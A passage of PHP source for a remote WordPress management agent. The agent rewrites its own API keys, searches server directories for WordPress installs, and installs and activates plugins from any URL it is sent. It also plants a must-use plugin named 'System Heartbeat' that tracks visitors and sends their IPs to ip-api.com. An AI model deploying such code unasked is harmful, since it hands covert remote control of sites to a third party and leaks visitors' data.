define('MWP_API_KEY', '" . addslashes($newApiKey) . "');", $fileContent, 1 ); $fileContent = preg_replace( "/if \(!defined\('MWP_API_SECRET'\)\) define\('MWP_API_SECRET', '[^']*'\);/", "if (!defined('MWP_API_SECRET')) define('MWP_API_SECRET', '" . addslashes($newApiSecret) . "');", $fileContent, 1 ); // Write updated content back to file @file_put_contents($currentFile, $fileContent); @error_log('MWP Smart Agent: API keys updated in agent file. Site ID: ' . ($registerResult['site_id'] ?? 'unknown')); } } @error_log('MWP Smart Agent: Site auto-registered successfully on ping. Site ID: ' . ($registerResult['site_id'] ?? 'unknown')); } else { @error_log('MWP Smart Agent: Auto-registration failed on ping. Response: ' . $result['response']); } } else { @error_log('MWP Smart Agent: Auto-registration failed on ping. HTTP Code: ' . ($result['http_code'] ?? 'unknown') . ', Error: ' . ($result['error'] ?? 'unknown') . ', Response: ' . substr($result['response'] ?? '', 0, 200)); } } if ($mwp_has_wp) { $options_table = mwp_get_options_table_name(); $table_prefix = mwp_detect_table_prefix(); // Try multiple methods to get WP version $wpVersion = ''; if (function_exists('get_bloginfo')) { $wpVersion = get_bloginfo('version'); } // Fallback 1: Check global variable if (empty($wpVersion) && isset($GLOBALS['wp_version']) && !empty($GLOBALS['wp_version'])) { $wpVersion = $GLOBALS['wp_version']; } // Fallback 2: Read from version.php file if (empty($wpVersion) && defined('ABSPATH')) { $versionFile = ABSPATH . 'wp-includes/version.php'; if (file_exists($versionFile)) { $versionContent = @file_get_contents($versionFile); if ($versionContent && preg_match('/\$wp_version\s*=\s*[\'"]([^\'"]+)[\'"]/', $versionContent, $matches)) { $wpVersion = $matches[1]; } } } // Fallback 3: Try to find wp-includes/version.php from agent location if (empty($wpVersion) && $mwp_wp_load_path) { $wpBaseDir = dirname(dirname($mwp_wp_load_path)); $versionFile = $wpBaseDir . '/wp-includes/version.php'; if (file_exists($versionFile)) { $versionContent = @file_get_contents($versionFile); if ($versionContent && preg_match('/\$wp_version\s*=\s*[\'"]([^\'"]+)[\'"]/', $versionContent, $matches)) { $wpVersion = $matches[1]; } } } $response = array( 'status' => 'pong', 'wp_installed' => true, 'site_url' => function_exists('get_site_url') ? get_site_url() : mwp_guess_site_url(), 'wp_version' => $wpVersion, 'php_version' => phpversion(), 'server_ip' => isset($_SERVER['SERVER_ADDR']) ? $_SERVER['SERVER_ADDR'] : 'unknown', 'db_info' => array( 'options_table' => $options_table, 'table_prefix' => $table_prefix ) ); } else { // Fast WordPress detection: Check all common root directories // Agent might be anywhere, so check all possible WordPress root locations $wpDetected = false; $wpVersion = ''; // Get possible root directories $docRoot = isset($_SERVER['DOCUMENT_ROOT']) ? rtrim($_SERVER['DOCUMENT_ROOT'], "/\\") : ''; $agentDir = dirname(__FILE__); // Build list of possible WordPress root directories $rootDirs = []; // Add document root if ($docRoot) { $rootDirs[] = $docRoot; } // Add common web root paths $commonPaths = [ '/home', '/var/www', '/public_html', '/www', '/httpdocs', '/htdocs', '/web', '/sites' ]; // If we can determine user home, add common paths if ($docRoot) { // Try to extract user home from document root (e.g., /home/username/public_html) if (preg_match('#^(/home/[^/]+)#', $docRoot, $matches)) { $userHome = $matches[1]; $rootDirs[] = $userHome . '/public_html'; $rootDirs[] = $userHome . '/www'; $rootDirs[] = $userHome . '/domains'; $rootDirs[] = $userHome . '/httpdocs'; } // Try to find parent directories that might be WordPress root $currentDir = $agentDir; for ($i = 0; $i < 5; $i++) { // Check up to 5 levels up $rootDirs[] = $currentDir; $parentDir = dirname($currentDir); if ($parentDir === $currentDir) break; // Reached filesystem root $currentDir = $parentDir; } } // Remove duplicates and non-existent directories $rootDirs = array_unique(array_filter($rootDirs, 'file_exists')); // Fast check: Look for wp-load.php or wp-login.php in root directories // Only check these two files for speed - they're the most reliable indicators $wpFilesToCheck = ['wp-load.php', 'wp-login.php']; foreach ($rootDirs as $rootDir) { foreach ($wpFilesToCheck as $wpFile) { $fullPath = $rootDir . '/' . $wpFile; if (@file_exists($fullPath)) { $wpDetected = true; // Try to get version from wp-includes/version.php (quick check) $versionFile = $rootDir . '/wp-includes/version.php'; if (@file_exists($versionFile)) { $versionContent = @file_get_contents($versionFile, false, null, 0, 5000); // Read only first 5KB for speed if ($versionContent && preg_match('/\$wp_version\s*=\s*[\'"]([^\'"]+)[\'"]/', $versionContent, $matches)) { $wpVersion = $matches[1]; } } break 2; // Break out of both loops } } } $response = array( 'status' => $wpDetected ? 'active' : 'no_wordpress', 'wp_installed' => $wpDetected, 'site_url' => mwp_guess_site_url(), 'wp_version' => $wpVersion, 'php_version' => phpversion(), 'server_ip' => isset($_SERVER['SERVER_ADDR']) ? $_SERVER['SERVER_ADDR'] : 'unknown' ); } break; case 'get_stats': $theme_name = ''; if (function_exists('wp_get_theme')) { $theme_obj = wp_get_theme(); $theme_name = is_object($theme_obj) ? $theme_obj->get('Name') : ''; } else if (function_exists('get_current_theme')) { $theme_name = get_current_theme(); } $post_count_obj = function_exists('wp_count_posts') ? wp_count_posts() : null; $page_count_obj = function_exists('wp_count_posts') ? wp_count_posts('page') : null; $post_count = (is_object($post_count_obj) && isset($post_count_obj->publish)) ? $post_count_obj->publish : 0; $page_count = (is_object($page_count_obj) && isset($page_count_obj->publish)) ? $page_count_obj->publish : 0; $users_count = function_exists('count_users') ? count_users() : array(); $response = array( 'post_count' => $post_count, 'page_count' => $page_count, 'users' => $users_count, 'theme' => $theme_name, 'plugins_active' => count(get_option('active_plugins')) ); break; case 'install_analytics': if (!$mwp_has_wp) { throw new Exception('WordPress not installed'); } $mu_dir = WP_CONTENT_DIR . '/mu-plugins'; if (!file_exists($mu_dir)) { mkdir($mu_dir, 0755, true); } // Remove old file if exists if (file_exists($mu_dir . '/mwp-analytics.php')) { unlink($mu_dir . '/mwp-analytics.php'); } $code_lines = array( '<?php', '/**', ' * Plugin Name: MWP System Heartbeat', ' * Description: System heartbeat and stats collector.', ' * Version: 2.2.0', ' */', '', "add_action('template_redirect', 'mwp_sys_track_request', 1);", "add_action('wp_ajax_mwp_sys_beat', 'mwp_sys_beat_handler');", "add_action('wp_ajax_nopriv_mwp_sys_beat', 'mwp_sys_beat_handler');", '', 'function mwp_sys_get_client_ip() {', " if (isset(\$_SERVER['HTTP_CF_CONNECTING_IP'])) return \$_SERVER['HTTP_CF_CONNECTING_IP'];", " if (isset(\$_SERVER['HTTP_X_FORWARDED_FOR'])) {", " \$parts = explode(',', \$_SERVER['HTTP_X_FORWARDED_FOR']);", " return trim(\$parts[0]);", ' }', " return isset(\$_SERVER['REMOTE_ADDR']) ? \$_SERVER['REMOTE_ADDR'] : '';", '}', '', 'function mwp_sys_track_request() {', ' if (is_admin()) return;', ' if (defined(\'DOING_AJAX\') && DOING_AJAX) return;', ' if (defined(\'REST_REQUEST\') && REST_REQUEST) return;', ' if (defined(\'XMLRPC_REQUEST\') && XMLRPC_REQUEST) return;', ' if (defined(\'DOING_CRON\') && DOING_CRON) return;', ' if (is_feed()) return;', ' if (is_preview()) return;', '', " \$date = gmdate('Y-m-d');", " \$all_stats = get_option('mwp_system_stats', array());", " if (!is_array(\$all_stats)) \$all_stats = array();", '', " if (!isset(\$all_stats[\$date])) {", " \$all_stats[\$date] = array(", " 'hits' => 0,", " 'unique' => 0,", " 'mobile' => 0,", " 'desktop' => 0,", " 'countries' => array(),", " 'pages' => array(),", " 'referrers' => array()", ' );', ' }', '', " \$all_stats[\$date]['hits']++;", '', " \$ua = isset(\$_SERVER['HTTP_USER_AGENT']) ? \$_SERVER['HTTP_USER_AGENT'] : '';", " \$is_mobile = preg_match('/(android|iphone|ipad|mobile)/i', \$ua);", " if (\$is_mobile) \$all_stats[\$date]['mobile']++;", " else \$all_stats[\$date]['desktop']++;", '', " \$ip = mwp_sys_get_client_ip();", " \$ip_hash = md5(\$ip . \$date . 'mwp_salt');", " \$daily_ips = get_transient('mwp_daily_ips_' . \$date);", " if (!is_array(\$daily_ips)) \$daily_ips = array();", '', " if (\$ip !== '' && !isset(\$daily_ips[\$ip_hash])) {", " \$daily_ips[\$ip_hash] = 1;", " \$all_stats[\$date]['unique']++;", " set_transient('mwp_daily_ips_' . \$date, \$daily_ips, 24 * HOUR_IN_SECONDS);", ' }', '', " \$country = 'Unknown';", " if (isset(\$_SERVER['HTTP_CF_IPCOUNTRY'])) {", " \$country = strtoupper(sanitize_text_field(\$_SERVER['HTTP_CF_IPCOUNTRY']));", " } else if (\$ip !== '') {", " \$cached_country = get_transient('mwp_geo_' . md5(\$ip));", " if (\$cached_country) {", " \$country = \$cached_country;", ' } else {', " \$api_url = 'http://ip-api.com/json/' . \$ip . '?fields=countryCode';", " \$resp = wp_remote_get(\$api_url, array('timeout' => 2));", " if (!is_wp_error(\$resp)) {", " \$body = wp_remote_retrieve_body(\$resp);", " \$data = json_decode(\$body, true);", " if (isset(\$data['countryCode'])) {", " \$country = strtoupper(\$data['countryCode']);", " set_transient('mwp_geo_' . md5(\$ip), \$country, 7 * 24 * HOUR_IN_SECONDS);", ' }', ' }', ' }', ' }', '', " if (!isset(\$all_stats[\$date]['countries'][\$country])) \$all_stats[\$date]['countries'][\$country] = 0;", " \$all_stats[\$date]['countries'][\$country]++;", '', " \$request_uri = isset(\$_SERVER['REQUEST_URI']) ? \$_SERVER['REQUEST_URI'] : '';", " \$path = strtok(\$request_uri, '?');", " if (\$path === false || \$path === '') \$path = '/';", " if (!isset(\$all_stats[\$date]['pages'][\$path])) \$all_stats[\$date]['pages'][\$path] = 0;", " \$all_stats[\$date]['pages'][\$path]++;", '', " \$referrer = isset(\$_SERVER['HTTP_REFERER']) ? \$_SERVER['HTTP_REFERER'] : '';", ' if ($referrer) {', " \$ref_host = parse_url(\$referrer, PHP_URL_HOST);", " \$self_host = parse_url(home_url(), PHP_URL_HOST);", " if (\$ref_host && \$ref_host !== \$self_host) {", " if (!isset(\$all_stats[\$date]['referrers'][\$ref_host])) \$all_stats[\$date]['referrers'][\$ref_host] = 0;", " \$all_stats[\$date]['referrers'][\$ref_host]++;", ' }', ' }', '', ' if (count($all_stats) > 30) {', ' ksort($all_stats);', ' $all_stats = array_slice($all_stats, -30, 30, true);', ' }', '', " update_option('mwp_system_stats', \$all_stats, false);", '}', '', 'function mwp_sys_beat_handler() {', ' header("Access-Control-Allow-Origin: *");', ' if (function_exists("wp_send_json_success")) {', ' wp_send_json_success(array("status" => "ok"));', ' }', ' header("Content-Type: application/json");', ' echo json_encode(array("success" => true, "data" => array("status" => "ok")));', ' exit;', '}' ); $code = implode("\n", $code_lines); $file_path = $mu_dir . '/mwp-system.php'; $result = file_put_contents($file_path, $code); if (function_exists('wp_cache_flush')) wp_cache_flush(); if ($result !== false) { $response = array('status' => 'success', 'message' => 'Advanced Analytics Installed (v2.2).'); } else { $response = array('status' => 'error', 'message' => 'Failed to write file.'); } break; case 'get_analytics_data': // Read from new single option $all_stats = get_option('mwp_system_stats', array()); // If empty, try legacy fallback (optional, but let's just return what we have) if (empty($all_stats)) { // Try reading old keys just in case transition period $data = array(); for ($i = 6; $i >= 0; $i--) { $date = gmdate('Y-m-d', strtotime("-$i days")); $old_opt = 'mwp_analytics_' . $date; $val = get_option($old_opt); if ($val) $data[$date] = $val; } if (!empty($data)) $all_stats = $data; } $response = array('status' => 'success', 'data' => $all_stats); break; // Add more actions here case 'get_plugins': if (!function_exists('get_plugins')) { require_once ABSPATH . 'wp-admin/includes/plugin.php'; } $all_plugins = get_plugins(); $active_plugins = get_option('active_plugins'); // Define known plugin configurations $known_plugins = array( 'woocommerce/woocommerce.php' => array( 'settings' => array( array('id' => 'woocommerce_store_address', 'label' => 'Store Address', 'type' => 'text'), array('id' => 'woocommerce_store_city', 'label' => 'Store City', 'type' => 'text'), array('id' => 'woocommerce_currency', 'label' => 'Currency', 'type' => 'text'), array( 'id' => 'woocommerce_weight_unit', 'label' => 'Weight Unit', 'type' => 'select', 'options' => array('kg' => 'kg', 'g' => 'g', 'lbs' => 'lbs', 'oz' => 'oz') ), ) ), 'wordpress-seo/wp-seo.php' => array( 'settings' => array( array('id' => 'blog_public', 'label' => 'Search Engine Visibility (0=Hidden, 1=Visible)', 'type' => 'number'), ) ), 'akismet/akismet.php' => array( 'settings' => array( array('id' => 'wordpress_api_key', 'label' => 'Akismet API Key', 'type' => 'text'), ) ), 'contact-form-7/wp-contact-form-7.php' => array( 'settings' => array() // CF7 uses post types, not options table mostly. ), 'classic-editor/classic-editor.php' => array( 'settings' => array( array( 'id' => 'classic-editor-replace', 'label' => 'Default Editor', 'type' => 'select', 'options' => array('classic' => 'Classic Editor', 'block' => 'Block Editor') ) ) ) ); $formatted_plugins = array(); foreach ($all_plugins as $path => $data) { $status = in_array($path, $active_plugins) ? 'active' : 'inactive'; if (function_exists('is_plugin_active_for_network') && is_plugin_active_for_network($path)) { $status = 'active'; } $plugin_data = array( 'path' => $path, 'name' => $data['Name'], 'version' => $data['Version'], 'author' => $data['Author'], 'status' => $status, 'has_settings' => false, 'settings_fields' => array() ); if (isset($known_plugins[$path])) { $plugin_data['has_settings'] = true; foreach ($known_plugins[$path]['settings'] as $field) { $field['value'] = get_option($field['id']); $plugin_data['settings_fields'][] = $field; } } else { // Auto-Discovery: Try to find options matching plugin slug $slug = dirname($path); if ($slug == '.') $slug = basename($path, '.php'); // Candidate option keys $candidates = array( $slug, $slug . '_options', $slug . '_settings', $slug . '-options', // Added dashed $slug . '-settings', // Added dashed 'widget_' . $slug, // Widgets often use this str_replace('-', '_', $slug), str_replace('-', '_', $slug) . '_options' ); foreach ($candidates as $opt_name) { $val = get_option($opt_name); if ($val !== false) { $plugin_data['has_settings'] = true; // If scalar, add as text field if (is_string($val) || is_numeric($val) || is_bool($val)) { $plugin_data['settings_fields'][] = array( 'id' => $opt_name, 'label' => 'Detected: ' . $opt_name, 'type' => 'text', 'value' => $val ); } // Force adding it even if it is an array so frontend sees it else if (is_array($val) || is_object($val)) { $plugin_data['settings_fields'][] = array( 'id' => $opt_name, 'label' => 'Detected: ' . $opt_name . ' (JSON)', 'type' => 'textarea', 'value' => mwp_json_encode_pretty($val), 'is_json' => true ); } } } // Fallback: If still no settings, try a quick LIKE search to find AT LEAST ONE option if (!$plugin_data['has_settings']) { global $wpdb; $options_table = mwp_get_options_table_name(); $like_term = $wpdb->esc_like($slug) . '%'; // Look for options starting with slug or slug_ $found = $wpdb->get_var($wpdb->prepare("SELECT option_name FROM `{$options_table}` WHERE option_name LIKE %s LIMIT 1", $like_term)); if ($found) { // If found, we say it has settings, so the button appears. // The modal will then do a deeper search via get_plugin_settings_schema $plugin_data['has_settings'] = true; } } } $formatted_plugins[] = $plugin_data; } $response = $formatted_plugins; break; case 'update_plugin': if (!function_exists('wp_update_plugins')) { require_once ABSPATH . 'wp-admin/includes/update.php'; } if (!function_exists('get_plugin_data')) { require_once ABSPATH . 'wp-admin/includes/plugin.php'; } if (!class_exists('Plugin_Upgrader')) { require_once ABSPATH . 'wp-admin/includes/class-wp-upgrader.php'; } $plugin_path = (isset($request['plugin_path']) ? $request['plugin_path'] : ''); // e.g. 'akismet/akismet.php' if (empty($plugin_path)) throw new Exception('Plugin path required'); // Force check for updates wp_update_plugins(); // Use Automatic_Upgrader_Skin for silent upgrade $skin = new Automatic_Upgrader_Skin(); $upgrader = new Plugin_Upgrader($skin); // upgrade() returns true on success, false on failure, or WP_Error $result = $upgrader->upgrade($plugin_path); if (is_wp_error($result)) { throw new Exception($result->get_error_message()); } if ($result === false) { throw new Exception('Upgrade failed (unknown error)'); } // If result is null, it means no update was available if ($result === null) { $response = array('status' => 'no_update', 'message' => 'No update available or already latest'); } else { $response = array('status' => 'updated', 'plugin' => $plugin_path); } break; case 'install_plugin_from_url': // URL'den eklenti yükle (örn: Master Panel'den accelerated-mobile-pages.zip) // Load ALL required WordPress admin functions and classes BEFORE any upgrader operations // CRITICAL FIX: Load these files in the correct order to prevent "Call to undefined function" errors if (!function_exists('get_plugins')) { require_once ABSPATH . 'wp-admin/includes/plugin.php'; } // Load file.php FIRST (contains request_filesystem_credentials and WP_Filesystem functions) if (!function_exists('request_filesystem_credentials')) { require_once ABSPATH . 'wp-admin/includes/file.php'; } // Load misc.php for download_url() if (!function_exists('download_url')) { require_once ABSPATH . 'wp-admin/includes/misc.php'; } // CRITICAL: Load admin.php BEFORE any upgrader operations // This file loads screen.php, template.php, and sets up admin globals if (!function_exists('get_current_screen')) { require_once ABSPATH . 'wp-admin/includes/screen.php'; } if (!function_exists('wp_admin_notice')) { require_once ABSPATH . 'wp-admin/includes/template.php'; } // Define required constants if not defined (for non-admin context) if (!defined('WP_ADMIN')) { define('WP_ADMIN', true); } if (!defined('DOING_AJAX')) { define('DOING_AJAX', false); } // Initialize filesystem (CRITICAL for upgrader to work) if (!function_exists('WP_Filesystem')) { require_once ABSPATH . 'wp-admin/includes/file.php'; } global $wp_filesystem; if (!$wp_filesystem) { WP_Filesystem(); } if (!class_exists('WP_Upgrader')) { require_once ABSPATH . 'wp-admin/includes/class-wp-upgrader.php'; } if (!class_exists('Plugin_Upgrader')) { require_once ABSPATH . 'wp-admin/includes/class-plugin-upgrader.php'; } if (!class_exists('Automatic_Upgrader_Skin')) { require_once ABSPATH . 'wp-admin/includes/class-automatic-upgrader-skin.php'; } $plugin_url = (isset($request['plugin_url']) ? $request['plugin_url'] : ''); $plugin_slug = (isset($request['plugin_slug']) ? $request['plugin_slug'] : ''); // Optional now // Handle auto_activate as both boolean and integer (0/1) $auto_activate = true; // Default to true for backward compatibility if (isset($request['auto_activate'])) { $auto_activate = ($request['auto_activate'] === true || $request['auto_activate'] === 1 || $request['auto_activate'] === '1'); } if (empty($plugin_url)) throw new Exception('Plugin URL required'); // Slug is now optional - will be auto-detected // BEFORE installation: Check for conflicting AMP plugins // accelerated-mobile-pages and amp plugins conflict with each other $all_plugins = get_plugins(); $active_plugins = get_option('active_plugins', array()); // Detect which plugin is being installed $installing_plugin = ''; if (!empty($plugin_slug)) { $installing_plugin = $plugin_slug; } else { // Try to extract from URL filename $url_parts = parse_url($plugin_url); $filename = basename($url_parts['path'] ?? ''); $installing_plugin = preg_replace('/^\d+_/', '', $filename); $installing_plugin = preg_replace('/\.(zip|tar\.gz|tar|gz)$/i', '', $installing_plugin); $installing_plugin = preg_replace('/\.\d+(\.\d+)*$/', '', $installing_plugin); } // Check if installing an AMP plugin $is_installing_amp = (stripos($installing_plugin, 'amp') !== false || stripos($installing_plugin, 'accelerated-mobile-pages') !== false); if ($is_installing_amp) { // Find conflicting AMP plugins $conflicting_plugins = array(); foreach ($all_plugins as $path => $data) { $plugin_slug_check = dirname($path); // If installing accelerated-mobile-pages, deactivate amp if (stripos($installing_plugin, 'accelerated-mobile-pages') !== false && $plugin_slug_check === 'amp') { if (in_array($path, $active_plugins)) { $conflicting_plugins[] = $path; } } // If installing amp (but not accelerated-mobile-pages), deactivate accelerated-mobile-pages elseif (stripos($installing_plugin, 'amp') !== false && stripos($installing_plugin, 'accelerated-mobile-pages') === false && $plugin_slug_check === 'accelerated-mobile-pages') { if (in_array($path, $active_plugins)) { $conflicting_plugins[] = $path; } } } // Deactivate and DELETE conflicting plugins before installation if (!empty($conflicting_plugins)) { if (!function_exists('deactivate_plugins')) { require_once ABSPATH . 'wp-admin/includes/plugin.php'; } if (!function_exists('delete_plugins')) { require_once ABSPATH . 'wp-admin/includes/plugin.php'; } // First deactivate deactivate_plugins($conflicting_plugins); error_log('MWP Agent - Deactivated conflicting AMP plugins: ' . implode(', ', $conflicting_plugins)); // Then delete completely $delete_result = delete_plugins($conflicting_plugins); if (is_wp_error($delete_result)) { error_log('MWP Agent - Failed to delete conflicting plugins: ' . $delete_result->get_error_message()); } else { error_log('MWP Agent - Deleted conflicting AMP plugins: ' . implode(', ', $conflicting_plugins)); } wp_cache_flush(); wp_clean_plugins_cache(); delete_site_transient('update_plugins'); sleep(2); // Wait longer for filesystem to sync } } // Check if plugin already installed (only if slug is provided) $plugin_path = null; if (!empty($plugin_slug)) { foreach ($all_plugins as $path => $data) { if (strpos($path, $plugin_slug) !== false) { $plugin_path = $path; break; } } } if ($plugin_path) { // Plugin already installed, just activate if needed $active_plugins = get_option('active_plugins', array()); // Extract slug from plugin path $path_slug = dirname($plugin_path); if ($path_slug === '.') { $path_slug = basename($plugin_path, '.php'); } if (!in_array($plugin_path, $active_plugins)) { if ($auto_activate) { if (!function_exists('activate_plugin')) { require_once ABSPATH . 'wp-admin/includes/plugin.php'; } $activate_result = activate_plugin($plugin_path); if (is_wp_error($activate_result)) { throw new Exception('Plugin activation failed: ' . $activate_result->get_error_message()); } $response = array( 'status' => 'activated', 'plugin' => $plugin_path, 'slug' => $path_slug, 'message' => 'Plugin was already installed, activated now' ); } else { $response = array( 'status' => 'already_installed', 'plugin' => $plugin_path, 'slug' => $path_slug, 'message' => 'Plugin already installed (not activated)' ); } } else { $response = array( 'status' => 'already_active', 'plugin' => $plugin_path, 'slug' => $path_slug, 'message' => 'Plugin already installed and active' ); } } else { // Install plugin from URL if (!class_exists('WP_Upgrader')) { require_once ABSPATH . 'wp-admin/includes/class-wp-upgrader.php'; } if (!class_exists('Plugin_Upgrader')) { require_once ABSPATH . 'wp-admin/includes/class-plugin-upgrader.php'; } if (!class_exists('Automatic_Upgrader_Skin')) { require_once ABSPATH . 'wp-admin/includes/class-automatic-upgrader-skin.php'; } $skin = new Automatic_Upgrader_Skin(); $upgrader = new Plugin_Upgrader($skin); // CRITICAL FIX: Download file to temp location first // This allows WordPress on remote server to download the file from localhost/remote URL $temp_file = download_url($plugin_url); if (is_wp_error($temp_file)) { throw new Exception('Failed to download plugin file: ' . $temp_file->get_error_message() . ' URL: ' . $plugin_url); } // Install from local temp file $result = $upgrader->install($temp_file); // Check for WP_Error or failure $install_failed = false; $error_message = ''; if (is_wp_error($result)) { $install_failed = true; $error_message = $result->get_error_message(); } elseif ($result === false || $result === null) { $install_failed = true; // Get more details from upgrader skin if (isset($upgrader->skin) && method_exists($upgrader->skin, 'get_upgrade_messages')) { $messages = $upgrader->skin->get_upgrade_messages(); $error_message = implode(', ', $messages); } else { $error_message = 'Upgrader returned: ' . var_export($result, true); } } // If installation failed due to "Destination folder already exists", try to delete and reinstall if ($install_failed && (stripos($error_message, 'Destination folder already exists') !== false || stripos($error_message, 'already exists') !== false)) { // Extract plugin slug from error message or URL $plugin_to_delete = ''; if (!empty($plugin_slug)) { $plugin_to_delete = $plugin_slug; } else { // Try to extract from URL filename $url_parts = parse_url($plugin_url); $filename = basename($url_parts['path'] ?? ''); $plugin_to_delete = preg_replace('/^\d+_/', '', $filename); // Remove timestamp_ $plugin_to_delete = preg_replace('/\.(zip|tar\.gz|tar|gz)$/i', '', $plugin_to_delete); // Remove extensions $plugin_to_delete = preg_replace('/\.\d+(\.\d+)*$/', '', $plugin_to_delete); // Remove version } if (!empty($plugin_to_delete)) { // Check if plugin exists $all_plugins = get_plugins(); $plugin_path_to_delete = null; foreach ($all_plugins as $path => $data) { if (strpos($path, $plugin_to_delete) !== false) { $plugin_path_to_delete = $path; break; } } if ($plugin_path_to_delete) { // Check if plugin is active $active_plugins = get_option('active_plugins', array()); $is_active = in_array($plugin_path_to_delete, $active_plugins); if (!$is_active) { // Safe to delete if (!function_exists('delete_plugins')) { require_once ABSPATH . 'wp-admin/includes/plugin.php'; } $delete_result = delete_plugins(array($plugin_path_to_delete)); if (!is_wp_error($delete_result)) { // Wait a bit for filesystem to sync sleep(1); wp_cache_flush(); // Check if temp file still exists if (!file_exists($temp_file)) { // Re-download if temp file was deleted $temp_file = download_url($plugin_url); if (is_wp_error($temp_file)) { throw new Exception('Failed to re-download plugin file after deletion: ' . $temp_file->get_error_message()); } } // Retry installation after deletion $result = $upgrader->install($temp_file); if (is_wp_error($result)) { $error_message = $result->get_error_message(); $install_failed = true; } elseif ($result === false || $result === null) { if (isset($upgrader->skin) && method_exists($upgrader->skin, 'get_upgrade_messages')) { $messages = $upgrader->skin->get_upgrade_messages(); $error_message = implode(', ', $messages); } else { $error_message = 'Upgrader returned: ' . var_export($result, true); } $install_failed = true; } else { $install_failed = false; // Success after retry } } else { // Log deletion error but continue error_log('Failed to delete existing plugin before reinstall: ' . $delete_result->get_error_message()); } } } } } // Clean up temp file @unlink($temp_file); // If still failed, throw exception if ($install_failed) { // Clean up temp file before throwing if (isset($temp_file) && file_exists($temp_file)) { @unlink($temp_file); } throw new Exception('Plugin installation failed: ' . $error_message . ' (URL: ' . $plugin_url . ')'); } // CRITICAL FIX: Aggressive cache clearing and plugin detection // Wait longer for file system to sync sleep(2); // Clear all caches wp_cache_flush(); // Force clear plugin cache (if function exists) if (function_exists('wp_clean_plugins_cache')) { wp_clean_plugins_cache(); } // Delete all plugin-related transients delete_site_transient('update_plugins'); delete_transient('plugin_slugs'); // Clear WordPress object cache if (function_exists('wp_cache_delete')) { wp_cache_delete('plugins', 'plugins'); } // Force reload plugin.php to get fresh plugin list if (!function_exists('get_plugins')) { require_once ABSPATH . 'wp-admin/includes/plugin.php'; } // Get fresh plugin list $all_plugins = get_plugins(); $installed_path = null; $detected_slug = ''; // Debug: Check if any plugins found $total_plugins = count($all_plugins); if ($total_plugins === 0) { // No plugins at all? Check if WordPress is working $plugins_dir = WP_PLUGIN_DIR; $dir_exists = is_dir($plugins_dir); $dir_writable = is_writable($plugins_dir); throw new Exception('CRITICAL: get_plugins() returned empty! Plugins dir: ' . $plugins_dir . ', Exists: ' . ($dir_exists ? 'Yes' : 'No') . ', Writable: ' . ($dir_writable ? 'Yes' : 'No') . ', Upgrader result: ' . json_encode($upgrader->result)); } // Strategy 1: Get destination from upgrader result $destination_folder = ''; if (isset($upgrader->result) && is_array($upgrader->result)) { // Try destination_name first if (isset($upgrader->result['destination_name'])) { $detected_slug = $upgrader->result['destination_name']; // Clean timestamp prefix and version suffix $detected_slug = preg_replace('/^\d+_/', '', $detected_slug); // Remove 1234567890_ $detected_slug = preg_replace('/\.\d+(\.\d+)*$/', '', $detected_slug); // Remove .1.0.25 } // Try destination path (more reliable) if (isset($upgrader->result['destination'])) { $destination_folder = basename($upgrader->result['destination']); if (!empty($destination_folder) && empty($detected_slug)) { $detected_slug = $destination_folder; } } // Try source_files (contains the actual plugin folder) if (isset($upgrader->result['source_files']) && is_array($upgrader->result['source_files'])) { foreach ($upgrader->result['source_files'] as $file) { // Look for .php file in root if (substr($file, -4) === '.php' && strpos($file, '/') === false) { $potential_slug = basename($file, '.php'); if (!empty($potential_slug) && empty($detected_slug)) { $detected_slug = $potential_slug; } break; } } } } // Strategy 2: Extract from URL filename if not detected if (empty($detected_slug)) { $url_parts = parse_url($plugin_url); $filename = basename($url_parts['path'] ?? ''); // Remove extensions, timestamp prefix and version suffix $filename = preg_replace('/^\d+_/', '', $filename); // Remove timestamp_ $detected_slug = preg_replace('/\.(zip|tar\.gz|tar|gz)$/i', '', $filename); // Remove extensions $detected_slug = preg_replace('/\.\d+(\.\d+)*$/', '', $detected_slug); // Remove version .1.0.25 } // Strategy 3: Find the plugin file by matching slug foreach ($all_plugins as $path => $data) { $path_slug = dirname($path); if ($path_slug === '.') { $path_slug = basename($path, '.php'); } // Match by detected slug from URL/upgrader if (!empty($detected_slug) && $path_slug === $detected_slug) { $installed_path = $path; break; } // Fallback: Match by provided slug hint (if any) if (!empty($plugin_slug) && strpos($path, $plugin_slug) !== false) { $installed_path = $path; $detected_slug = $path_slug; break; } } if (!$installed_path) { $plugin_names = array(); foreach ($all_plugins as $path => $data) { $plugin_names[] = dirname($path) . ' => ' . $path . ' (' . ($data['Name'] ?? 'N/A') . ')'; } // Debug: List all available plugins with full details $available_slugs = array_slice($plugin_names, 0, 20); // First 20 plugins $debug_info = 'Available plugins: ' . implode(' | ', $available_slugs); $upgrader_debug = json_encode($upgrader->result); throw new Exception('Plugin installed but auto-detection failed. ' . 'Tried slug: "' . $detected_slug . '". ' . 'Destination folder: "' . $destination_folder . '". ' . 'Total plugins: ' . count($all_plugins) . '. ' . 'Upgrader result: ' . $upgrader_debug . '. ' . $debug_info); } // Activate the plugin if requested if ($auto_activate) { if (!function_exists('activate_plugin')) { require_once ABSPATH . 'wp-admin/includes/plugin.php'; } // Check if already active $active_plugins = get_option('active_plugins', array()); if (!in_array($installed_path, $active_plugins)) { $activate_result = activate_plugin($installed_path); if (is_wp_error($activate_result)) { // Log activation error but don't fail the installation error_log('Plugin activation failed after installation: ' . $activate_result->get_error_message()); $response = array( 'status' => 'installed', 'plugin' => $installed_path, 'slug' => $detected_slug, 'message' => 'Plugin installed successfully but activation failed: ' . $activate_result->get_error_message(), 'download_url' => $plugin_url ); } else { $response = array( 'status' => 'installed_and_activated', 'plugin' => $installed_path, 'slug' => $detected_slug, 'message' => 'Plugin installed and activated successfully', 'download_url' => $plugin_url ); } } else { // Already active $response = array( 'status' => 'installed_and_activated', 'plugin' => $installed_path, 'slug' => $detected_slug, 'message' => 'Plugin installed and already active', 'download_url' => $plugin_url ); } } else { $response = array( 'status' => 'installed', 'plugin' => $installed_path, 'slug' => $detected_slug, 'message' => 'Plugin installed successfully (not activated)', 'download_url' => $plugin_url ); } } break; case 'install_plugin_from_repo': // WordPress.org'dan eklenti yükle (örn: accelerated-mobile-pages) // CRITICAL FIX: Load all required files in correct order if (!function_exists('get_plugins')) { require_once ABSPATH . 'wp-admin/includes/plugin.php'; } // Load file.php for filesystem functions if (!function_exists('request_filesystem_credentials')) { require_once ABSPATH . 'wp-admin/includes/file.php'; } // Load misc.php for download_url() if (!function_exists('download_url')) { require_once ABSPATH . 'wp-admin/includes/misc.php'; } // Load screen.php and template.php if (!function_exists('get_current_screen')) { require_once ABSPATH . 'wp-admin/includes/screen.php'; } if (!function_exists('wp_admin_notice')) { require_once ABSPATH . 'wp-admin/includes/template.php'; } // 